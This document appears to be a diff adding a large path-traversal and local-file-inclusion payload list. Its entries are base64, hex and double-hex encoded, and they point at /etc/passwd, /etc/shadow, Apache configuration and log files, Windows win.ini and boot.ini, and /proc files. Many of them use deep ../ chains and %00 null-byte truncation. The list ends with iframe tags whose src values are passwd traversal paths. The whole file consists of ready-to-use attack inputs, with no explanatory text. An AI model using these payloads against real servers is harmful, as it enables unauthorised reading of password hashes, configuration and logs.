+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2Vycm9yX2xvZw==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2Vycm9yLmxvZw==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yX2wgb2c=
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yLmxvZw==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvZXJyb3JfbG9n
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2Vycm9yX2xvZw==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvZXJyb3IubG9n
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2Vycm9yLmxvZw==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9lcnJvcl9sb2c=
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9lcnJvci5sb2c=
+
+L2V0Yy9pbml0LmQvYXBhY2hl
+L2V0Yy9pbml0LmQvYXBhY2hlMg==
+L2V0Yy9odHRwZC9odHRwZC5jb25m
+L2V0Yy9hcGFjaGUvYXBhY2hlLmNvbmY=
+L2V0Yy9hcGFjaGUvaHR0cGQuY29uZg==
+L2V0Yy9hcGFjaGUyL2FwYWNoZTIuY29uZg==
+L2V0Yy9hcGFjaGUyL2h0dHBkLmNvbmY=
+L3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZg==
+L3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25m
+L29wdC9hcGFjaGUvY29uZi9odHRwZC5jb25m
+L2hvbWUvYXBhY2hlL2h0dHBkLmNvbmY=
+L2hvbWUvYXBhY2hlL2NvbmYvaHR0cGQuY29uZg==
+L2V0Yy9hcGFjaGUyL3NpdGVzLWF2YWlsYWJsZS9kZWZhdWx0
+L2V0Yy9hcGFjaGUyL3Zob3N0cy5kL2RlZmF1bHRfdmhvc3QuaW5jbHVkZQ==
+
+
+
+L2V0Yy9wYXNzd2Q=
+L2V0Yy9zaGFkb3c=
+L2V0Yy9ncm91cA==
+L2V0Yy9zZWN1cml0eS9ncm91cA==
+L2V0Yy9zZWN1cml0eS9wYXNzd2Q=
+L2V0Yy9zZWN1cml0eS91c2Vy
+L2V0Yy9zZWN1cml0eS9lbnZpcm9u
+L2V0Yy9zZWN1cml0eS9saW1pdHM=
+L3Vzci9saWIvc2VjdXJpdHkvbWt1c2VyLmRlZmF1bHQ=
+
+2f6574632f6d61737465722e706173737764
+2f6d61737465722e706173737764
+6574632f706173737764
+6574632f736861646f77253030
+2f6574632f706173737764
+2f6574632f706173737764253030
+2e2e2f6574632f706173737764
+2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f736861646f77253030
+
+2f2e2e5c2e2e5c2e2e5c2e2e5c2e2e5c2e2e5c77696e6e745c77696e2e696e69
+2e2e2f2e2e2f77696e646f77732f77696e2e696e69
+2e2e2f2f2e2e2f2f2e2e2f2f2e2e2f2f2e2e2f2f626f6f742e696e69
+2e2e5c2e2e2f2e2e5c2e2e2f626f6f742e696e69
+2e2e5c2e2e2f2e2e5c2e2e2f2e2e5c2e2e2f2e2e5c2e2e2f626f6f742e696e69
+5c2e2e2e2e2e5c5c2e2e2e2e2e5c5c2e2e2e2e2e
+643a5c417070536572765c4d7953514c
+633a5c417070536572765c4d7953514c
+633a57494e444f57532f73797374656d33322f
+2f433a5c50726f6772616d2046696c6573
+2f443a5c50726f6772616d2046696c6573
+2f433a2f696e65747075622f667470726f6f742f
+
+2f626f6f742f677275622f677275622e636f6e66
+2f70726f632f696e7465727275707473
+2f70726f632f637075696e666f
+2f70726f632f6d656d696e666f
+
+2e2e2f6170616368652f6c6f67732f6572726f722e6c6f67
+2e2e2f6170616368652f6c6f67732f6163636573732e6c6f67
+2e2e2f2e2e2f6170616368652f6c6f67732f6572726f722e6c6f67
+2e2e2f2e2e2f6170616368652f6c6f67732f6163636573732e6c6f67
+2e2e2f2e2e2f2e2e2f6170616368652f6c6f67732f6572726f722e6c6f67
+2e2e2f2e2e2f2e2e2f6170616368652f6c6f67732f6163636573732e6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f68747470642f6c6f67732f61636365735f6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f68747470642f6c6f67732f61636365732e6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f68747470642f6c6f67732f6572726f725f6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f68747470642f6c6f67732f6572726f722e6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f7777772f6c6f67732f6163636573735f6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f7777772f6c6f67732f6163636573732e6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6170616368652f6c6f67732f6163636573735f206c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6170616368652f6c6f67732f6163636573732e206c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6170616368652f6163636573735f6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f617061636865322f6163636573735f6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6170616368652f6163636573732e6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f617061636865322f6163636573732e6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6163636573735f6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6163636573732e6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f7777772f6c6f67732f6572726f725f6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f7777772f6c6f67732f6572726f722e6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6170616368652f6c6f67732f6572726f725f6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6170616368652f6c6f67732f6572726f722e6c206f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6170616368652f6572726f725f6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f617061636865322f6572726f725f6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6170616368652f6572726f722e6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f617061636865322f6572726f722e6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6572726f725f6c6f67
+2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7661722f6c6f672f6572726f722e6c6f67
+
+2f6574632f696e69742e642f617061636865
+2f6574632f696e69742e642f61706163686532
+2f6574632f68747470642f68747470642e636f6e66
+2f6574632f6170616368652f6170616368652e636f6e66
+2f6574632f6170616368652f68747470642e636f6e66
+2f6574632f617061636865322f617061636865322e636f6e66
+2f6574632f617061636865322f68747470642e636f6e66
+2f7573722f6c6f63616c2f617061636865322f636f6e662f68747470642e636f6e66
+2f7573722f6c6f63616c2f6170616368652f636f6e662f68747470642e636f6e66
+2f6f70742f6170616368652f636f6e662f68747470642e636f6e66
+2f686f6d652f6170616368652f68747470642e636f6e66
+2f686f6d652f6170616368652f636f6e662f68747470642e636f6e66
+2f6574632f617061636865322f73697465732d617661696c61626c652f64656661756c74
+2f6574632f617061636865322f76686f7374732e642f64656661756c745f76686f73742e696e636c756465
+
+2f6574632f706173737764
+2f6574632f736861646f77
+2f6574632f67726f7570
+2f6574632f73656375726974792f67726f7570
+2f6574632f73656375726974792f706173737764
+2f6574632f73656375726974792f75736572
+2f6574632f73656375726974792f656e7669726f6e
+2f6574632f73656375726974792f6c696d697473
+2f7573722f6c69622f73656375726974792f6d6b757365722e64656661756c74
+
+32663664363137333734363537323265373036313733373337373634
+3635373436333266373036313733373337373634
+3635373436333266373336383631363436663737323533303330
+32663635373436333266373036313733373337373634
+32663635373436333266373036313733373337373634323533303330
+3265326532663635373436333266373036313733373337373634
+3265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373036313733373337373634323533303330
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663265326532663635373436333266373336383631363436663737323533303330
+
+32663265326535633265326535633265326535633265326535633265326535633265326535633737363936653665373435633737363936653265363936653639
+326532653266326532653266373736393665363436663737373332663737363936653265363936653639
+3265326532663266326532653266326632653265326632663265326532663266326532653266326636323666366637343265363936653639
+32653265356332653265326632653265356332653265326636323666366637343265363936653639
+32653265356332653265326632653265356332653265326632653265356332653265326632653265356332653265326636323666366637343265363936653639
+35633265326532653265326535633563326532653265326532653563356332653265326532653265
+3634336135633431373037303533363537323736356334643739353335313463
+3633336135633431373037303533363537323736356334643739353335313463
+3633336135373439346534343466353735333266373337393733373436353664333333323266
+32663433336135633530373236663637373236313664323034363639366336353733
+32663434336135633530373236663637373236313664323034363639366336353733
+32663433336132663639366536353734373037353632326636363734373037323666366637343266
+
+32663632366636663734326636373732373536323266363737323735363232653633366636653636
+3266373037323666363332663639366537343635373237323735373037343733
+3266373037323666363332663633373037353639366536363666
+3266373037323666363332663664363536643639366536363666
+
+326532653266363137303631363336383635326636633666363737333266363537323732366637323265366336663637
+3265326532663631373036313633363836353266366336663637373332663631363336333635373337333265366336663637
+326532653266326532653266363137303631363336383635326636633666363737333266363537323732366637323265366336663637
+3265326532663265326532663631373036313633363836353266366336663637373332663631363336333635373337333265366336663637
+326532653266326532653266326532653266363137303631363336383635326636633666363737333266363537323732366637323265366336663637
+3265326532663265326532663265326532663631373036313633363836353266366336663637373332663631363336333635373337333265366336663637
+326532653266326532653266326532653266326532653266326532653266326532653266326532653266363537343633326636383734373437303634326636633666363737333266363136333633363537333566366336663637
+326532653266326532653266326532653266326532653266326532653266326532653266326532653266363537343633326636383734373437303634326636633666363737333266363136333633363537333265366336663637
+326532653266326532653266326532653266326532653266326532653266326532653266326532653266363537343633326636383734373437303634326636633666363737333266363537323732366637323566366336663637
+326532653266326532653266326532653266326532653266326532653266326532653266326532653266363537343633326636383734373437303634326636633666363737333266363537323732366637323265366336663637
+32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663737373737373266366336663637373332663631363336333635373337333566366336663637
+32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663737373737373266366336663637373332663631363336333635373337333265366336663637
+326532653266326532653266326532653266326532653266326532653266326532653266326532653266373537333732326636633666363336313663326636313730363136333638363532663663366636373733326636313633363336353733373335663230366336663637
+326532653266326532653266326532653266326532653266326532653266326532653266326532653266373537333732326636633666363336313663326636313730363136333638363532663663366636373733326636313633363336353733373332653230366336663637
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266366336663637326636313730363136333638363532663631363336333635373337333566366336663637
+32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663663366636373266363137303631363336383635333232663631363336333635373337333566366336663637
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266366336663637326636313730363136333638363532663631363336333635373337333265366336663637
+32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663663366636373266363137303631363336383635333232663631363336333635373337333265366336663637
+326532653266326532653266326532653266326532653266326532653266326532653266326532653266373636313732326636633666363732663631363336333635373337333566366336663637
+326532653266326532653266326532653266326532653266326532653266326532653266326532653266373636313732326636633666363732663631363336333635373337333265366336663637
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266373737373737326636633666363737333266363537323732366637323566366336663637
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266373737373737326636633666363737333266363537323732366637323265366336663637
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663735373337323266366336663633363136633266363137303631363336383635326636633666363737333266363537323732366637323566366336663637
+32653265326632653265326632653265326632653265326632653265326632653265326632653265326637353733373232663663366636333631366332663631373036313633363836353266366336663637373332663635373237323666373232653663323036663637
+326532653266326532653266326532653266326532653266326532653266326532653266326532653266373636313732326636633666363732663631373036313633363836353266363537323732366637323566366336663637
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266366336663637326636313730363136333638363533323266363537323732366637323566366336663637
+326532653266326532653266326532653266326532653266326532653266326532653266326532653266373636313732326636633666363732663631373036313633363836353266363537323732366637323265366336663637
+3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266366336663637326636313730363136333638363533323266363537323732366637323265366336663637
+32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663663366636373266363537323732366637323566366336663637
+32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663663366636373266363537323732366637323265366336663637
+
+326636353734363332663639366536393734326536343266363137303631363336383635
+3266363537343633326636393665363937343265363432663631373036313633363836353332
+326636353734363332663638373437343730363432663638373437343730363432653633366636653636
+32663635373436333266363137303631363336383635326636313730363136333638363532653633366636653636
+3266363537343633326636313730363136333638363532663638373437343730363432653633366636653636
+3266363537343633326636313730363136333638363533323266363137303631363336383635333232653633366636653636
+32663635373436333266363137303631363336383635333232663638373437343730363432653633366636653636
+3266373537333732326636633666363336313663326636313730363136333638363533323266363336663665363632663638373437343730363432653633366636653636
+326637353733373232663663366636333631366332663631373036313633363836353266363336663665363632663638373437343730363432653633366636653636
+326636663730373432663631373036313633363836353266363336663665363632663638373437343730363432653633366636653636
+32663638366636643635326636313730363136333638363532663638373437343730363432653633366636653636
+3266363836663664363532663631373036313633363836353266363336663665363632663638373437343730363432653633366636653636
+326636353734363332663631373036313633363836353332326637333639373436353733326436313736363136393663363136323663363532663634363536363631373536633734
+3266363537343633326636313730363136333638363533323266373636383666373337343733326536343266363436353636363137353663373435663736363836663733373432653639366536333663373536343635
+
+32663635373436333266373036313733373337373634
+32663635373436333266373336383631363436663737
+3266363537343633326636373732366637353730
+3266363537343633326637333635363337353732363937343739326636373732366637353730
+32663635373436333266373336353633373537323639373437393266373036313733373337373634
+326636353734363332663733363536333735373236393734373932663735373336353732
+326636353734363332663733363536333735373236393734373932663635366537363639373236663665
+32663635373436333266373336353633373537323639373437393266366336393664363937343733
+32663735373337323266366336393632326637333635363337353732363937343739326636643662373537333635373232653634363536363631373536633734
+
+<iframe width="420" height="315" src="/etc/master.passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/master.passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="etc/shadow%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
